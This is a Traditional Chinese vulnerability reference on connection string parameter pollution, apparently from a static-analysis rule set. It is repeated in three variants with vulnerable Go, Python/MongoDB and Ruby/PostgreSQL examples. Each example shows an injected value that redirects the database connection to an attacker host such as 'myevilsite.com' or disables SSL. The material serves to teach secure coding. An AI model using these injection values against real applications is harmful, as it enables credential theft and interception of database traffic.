Connection String Parameter Pollution

將未經驗證的輸入串聯成資料庫連線可能會允許攻擊者覆寫要求參數的值。攻擊者可能可以覆寫現有參數值、插入新的參數或者利用無法直接接觸的變數。

Connection String Parameter Pollution (CSPP) 攻擊包括將連線字串參數插入到其他現有參數中。此弱點類似於也會發生參數干擾的 HTTP 環境中的弱點，後者可能更為人所熟知。不過，它也可以套用於其他位置，如資料庫連線字串。如果應用程式不能妥當清理使用者輸入，則惡意使用者可能透過盜取認證來危及應用程式的邏輯以執行攻擊，進而擷取整個資料庫。透過將名稱與現有參數相同的其他參數提交到應用程式，資料庫可能會以下列其中一種方式反應：

它可能只能使用第一個參數的資料
它可能使用最後一個參數的資料
它可能使用所有參數的資料，並將這些資料串聯在一起

這取決於所用的驅動程式、資料庫類型，甚至是 API 的使用方式。


範例 1：以下程式碼使用來自 HTTP 要求的輸入連線到資料庫：

    ...
    password := request.FormValue("db_pass")
    db, err := sql.Open("mysql", "user:" + password + "@/dbname")
    ...

在此範例中，程式設計師並未考量攻擊者可能提供 db_pass 參數，例如：
"xxx@/attackerdb?foo="，則連線字串變成：

"user:xxx@/attackerdb?foo=/dbname"

這將會使應用程式連線至攻擊者控制器資料庫，讓他控制傳回應用程式的資料。

將未經驗證的輸入串連成資料庫連線可能會允許攻擊者覆寫要求參數的值。 攻擊者可能可以覆寫現有參數值、插入新的參數或者利用直接接觸得到的變數。

Connection String Parameter Pollution (CSPP) 攻擊包含將連線字串參數插入到其他現有參數中。 此弱點類似於也會發生參數干擾的 HTTP 環境中的弱點，也許更為人所熟知。 不過，它也可以套用於其他位置，如資料庫連線字串。 如果應用程式不能妥當清潔使用者輸入，則惡意使用者可能透過盜取認證來危及應用程式的邏輯，以執行攻擊，進而擷取整個資料庫。 經由提交額外參數到應用程式，且如果這些參數的名稱與現有參數相同，資料庫連線可能以下列其中一種方式反應：

僅可使用第一個參數的資料
可使用最後一個參數的資料
可使用所有參數的資料，並將這些資料串連在一起

這可能取決於所用的驅動程式、資料庫類型，甚至是 API 的使用方式。

範例 1： 以下程式碼使用來自 HTTP 要求的輸入連線到資料庫：

username = req.field('username')
password = req.field('password')
...
client = MongoClient('mongodb://%s:%s@aMongoDBInstance.com/?ssl=true' % (username, password))
...

在此範例中，程式設計師並未考量攻擊者可能提供如下 password 參數：
「myPassword@aMongoDBInstance.com/?ssl=false&」，則連線字串會變成 (假設使用者名稱為「scott」)：

「mongodb://scott:myPassword@aMongoDBInstance.com/?ssl=false&@aMongoDBInstance.com/?ssl=true」

這會使「@aMongoDBInstance.com/?ssl=true」被當成額外的無效引數來處理，進而在實際上忽略「ssl=true」，並在沒有加密的情況下連線至資料庫。

將未經驗證的輸入連結成資料庫連線可能會允許攻擊者覆寫要求參數的值。攻擊者可能可以覆寫現有參數值，插入新的參數或者利用直接接觸得到的變數。

Connection String Parameter Pollution (CSPP) 攻擊包含將連線字串參數插入到其他現有參數中。此弱點類似於也會發生參數干擾的 HTTP 環境中的弱點，也許更為人所熟知。不過，它也可以套用於其他位置，如資料庫連線字串。如果應用程式無法正確清除處理使用者輸入，則惡意的使用者可能透過盜取憑證，危及應用程式的邏輯，以執行攻擊，進而擷取整個資料庫。經由提交額外參數到應用程式，且如果這些參數的名稱與現有參數相同，資料庫連線可能以下列其中一種方式反應：

僅可使用第一個參數的資料
可使用最後一個參數的資料
可使用所有參數的資料，並將這些資料串連在一起

這可能取決於所用的驅動程式、資料庫類型，或者甚至是 API 的使用方式。

範例 1：以下程式碼使用來自 HTTP 要求的輸入連線到資料庫：

hostname = req.params['host'] #gets POST parameter 'host'
...
conn = PG::Connection.new("connect_timeout=20 dbname=app_development user=#{user} password=#{password} host=#{hostname}")
...

在此範例中，程式設計師並未考量攻擊者可能提供 host 參數，例如
「myevilsite.com%20port%3D4444%20sslmode%3Ddisable」，則連線字串會變成 (假設使用者名稱為「scott」且密碼為「5up3RS3kR3t」)：

「dbname=app_development user=scott password=5up3RS3kR3t host=myevilsite.com port=4444 sslmode=disable」

這將會對「myevilsite.com」執行查詢，然後於連接埠 4444 連線到此網站，以停用 SSL。這可能意味著，攻擊者可以盜取使用者「scott」的憑證，然後使用此憑證在其機器和真實資料庫之間執行 man-in-the-middle 攻擊，或者只是登入真實資料庫，直接對資料庫執行查詢。